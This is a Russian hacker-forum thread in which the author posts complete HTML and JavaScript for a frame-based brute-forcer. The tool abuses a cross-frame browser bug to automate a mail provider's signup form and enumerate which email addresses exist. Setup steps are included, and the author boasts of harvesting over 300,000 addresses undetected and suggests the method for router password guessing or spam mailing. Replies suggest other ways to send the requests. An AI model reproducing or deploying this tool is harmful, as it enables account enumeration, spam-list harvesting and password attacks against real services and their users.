Статьи Экстравагантный способ перебора

Discussion in 'Статьи' started by lukmus, 26 Nov 2009.

  1. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    402
    Likes Received:
    118
    Reputations:
    23
    Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность.
    Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи.

    Способ заключаеться в следующем: создаеться примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика.

    Принцип действия: страница, с javascript'ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора.

    Для реализации всего выше указанного, нам необходимо немного соображать в javascript'е, html'е и самое сложное - найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы - ресурсы разных узлов.
    Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям:
    Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2
    Linux: FF 3.5, Opera 10, Epiphany 2.26.3.
    Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH).
    Скачать его можно здесь
    Не знаю существует ли он под Windows и есть ли в нем этот баг.

    Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство:
    на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет.
    Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем.

    !!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши

    После того как установили браузер, необходимо написать сами страницы.
    Первая, главная страница с разметкой на фреймы:
    Code:
    <html>
    <head>
    <title>/\/\аi|.ру checker all domains</title>
    </head>
    <frameset rows=25%,75%>
    <frame name='up' src='2.html'>
    <frame name='mid' src='http:\\win./\/\аi|.ру\cgi-bin\signup' >
    </frameset>
    </html>
    Вторая страница 2.html, так называемый интерфейс брутфорса (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы):
    Code:
    <script type="text/javascript" src="latvia.js"></script>
    <html>
    <body >
    <form name='cmd' >
    <table style=text-allign:center;font-size:70%;vertical-align:middle; >
    	<td>addresses:<br><textarea name='alladress' readOnly='true' cols=20 rows=10></textarea> </td>
    	
    	<td>full number<br>
    	<textarea name='nomer' cols=13 rows=1>0</textarea><br>
    	
    	<textarea name='fakt_no' readOnly='true' cols=3 rows=1>0</textarea>^<textarea name='quantity' cols=5 rows=1>1500</textarea><br>
    	exist address count<br>
    	<textarea name='ex_count' readOnly='true' cols=3 rows=1>0</textarea><br>	
    	<input type='button' name='start_bt' value='start' onClick='zamena()' >
    	<input type='button' name='update_bt' value='update' onClick='update_fr()' >
    	</td>
    
    	<td>words:<br><textarea name='words' cols=20 rows=8></textarea><br>
    	dictionary/successively(0/1)<br>
    	<textarea name='dicsuc' cols=13 rows=1>0</textarea>
    	
    	</td> 
    	
    	
    </table>
    
      </form>
    </body>
    </html>
    А теперь сам движок брутфорса, файл с явакодом(latvia.js):
    Code:
    var i=0;
    var osnwait=1000;
    var loawait=500;
    var load_attemp=0;
    var max_att=500;
    var ex_count=0;
    var flag=0;
    
    var dom = new Array();
    dom[0]='@/\/\аi|.ру';
    dom[1]='@ЬК.ru';
    dom[2]='@inЬ0х.ru';
    dom[3]='@|i$t.ru';
    var n_dom=0;
    
    function next(dig,variant) //возвращает следующее слово
    {if (variant==0){
    word_ar=parent.up.document.cmd.words.value.split('\n');
    return word_ar[dig];} else{
    return dig.toString(36);}
    }
    
    function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк)
    {
    if (flag==1){
    if (parent.mid.document.uinfo.RegistrationDomain.selectedIndex<3)
    		{parent.mid.document.uinfo.RegistrationDomain.selectedIndex++;
    		}else{	
    	parent.mid.document.uinfo.RegistrationDomain.selectedIndex=0;
    	parent.up.document.cmd.nomer.value=parseInt(parent.up.document.cmd.nomer.value)+1;
    	i++;
    	parent.up.document.cmd.fakt_no.value=i;
    	}}
    n_dom=parent.mid.document.uinfo.RegistrationDomain.selectedIndex;
    if (flag==0){
    	parent.mid.document.getElementById('userNameInput').value='^!@#$%&*';
    	setTimeout("zamena()",loawait);
    	flag=1;
    	} else
    	{parent.mid.document.getElementById('userNameInput').value=next(parseInt(parent.up.document.cmd.nomer.value),parseInt(parent.up.document.cmd.dicsuc.value));
    		load_attemp=0;
    		if(i<=parseInt(parent.up.document.cmd.quantity.value))setTimeout("zamena()",osnwait);
    		flag=0;
    		}
    }
    
    function update_fr() //обновляет страницу с формой
    {parent.mid.location="http://win./\/\аi|.ру\cgi-bin\signup";
    load_attemp=0;
    }
    
    function zamena() //проверяет результаты выданные сайтом
    {
    	//Еще проверяет
    	if(parent.mid.document.getElementById("checkUser").innerHTML.length==43){
    		setTimeout("zamena()",loawait);
    		load_attemp++;
    		if(load_attemp>max_att)	{
    			update_fr();
    			setTimeout("zamena()",osnwait*25);
    			}	
    		}
    
    	//Сессия устарела	
    	if(parent.mid.document.getElementById("checkUser").innerHTML.length==67){
    		update_fr();		
    		setTimeout("zamena()",osnwait*25);}
    	//Мыло существует
    	if(parent.mid.document.getElementById("checkUser").innerHTML.length==143){
    	//alert("exist");
    	parent.up.document.cmd.alladress.value=parent.up.document.cmd.alladress.value+parent.mid.document.getElementById('userNameInput').value+dom[n_dom]+'\n';
    
    	ex_count++;
    	parent.up.document.cmd.ex_count.value=ex_count;
    	oknext();
    	}
    	//Логин свободен т.е. мыло не существует
    	if(parent.mid.document.getElementById("checkUser").innerHTML.length==56)oknext(); 
    	if(parent.mid.document.getElementById("checkUser").innerHTML.length!=56 && parent.mid.document.getElementById("checkUser").innerHTML.length!=43 && parent.mid.document.getElementById("checkUser").innerHTML.length!=143 && parent.mid.document.getElementById("checkUser").innerHTML.length!=67)oknext();
    }
    
    Вопросы по коду:
    ?:зачем между сменами доменов вставлять ^!@#$%&* ?
    0: иначе страница не видит что потенциальный логин был изменен, точнее его домен
    ?:как реализована задержка между вводами ?
    0:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep()
    ?:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд)
    0:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки 'идет проверка' длина = 43

    Остальное непонятное станет ясно дальше.

    Запуск и настройка:
    Открываем в браузере первую страницу и видим примерно следующее:
    [​IMG]
    Пару слов перед настройкой:
    этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле 'words'.
    Поле 'addresses' - здесь будут содержаться существующие адреса т.е. наши успешные попытки
    Поле 'full number' - в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре.
    Поле ниже 'full number'- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать
    Поле 'exist address count' - здесь отображаеться количество набранных адресов
    Поле 'dictionary/successively(0/1)' - выбор варианта перебора 0 - по словарю, 1 - все подряд
    Поле 'words' - наш словарь
    Кнопка 'start' - запускает перебор
    Кнопка 'update' - обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо )

    Настройка на перебор всего подряд
    начинаем с 1000000 комбинации (full number = 0)
    перебор всех комбинаций (dictionary/successively(0/1)=1)
    количество = 5000
    [​IMG]

    Настройка на перебор по словарю
    начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2)
    перебор по словарю (dictionary/successively(0/1)=0)
    количество = 10000
    [​IMG]


    Итоги:
    Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен.
    Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось.
    Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок - сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок .

    рабочая версия на 17.06 описана здесь: http://blog.lukmus.ru/?p=19​
     
    #1 lukmus, 26 Nov 2009
    Last edited: 17 Jun 2010
    2 people like this.
  2. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
  3. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    402
    Likes Received:
    118
    Reputations:
    23
    кроме vvs777 никому не понравилось, обидно, я так старался. больше писать не буду...
     
  4. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    Да понравилось, вот только жаль, что нету Виндового браузера с такой багой...
     
  5. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Я не сильно вникал и может ошибаюсь, но всё же:
    непонятно, зачем этот баг с доступом к свойствам другого фрейма?
    Ведь можно делать форму на главной странице, указывая в ней target="frame1", где frame1 - это атрибут name фрейма, куда будет отправляться запрос.
    Тогда способ будет универсален.
     
  6. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    402
    Likes Received:
    118
    Reputations:
    23
    вся эта тема задумалась, для того чтобы не разбирать ajax'овый код сайта, которым он посылает запрос на существование мыла, а если делать как ты сказал, то как раз придеться разбираться в этом запросе. И к тому же если и удасться разобраться как они запрашивают(какой пакет формирует браузер), то легче сделать какую-нить прогу на C, которая будет слать гораздо быстрее браузера.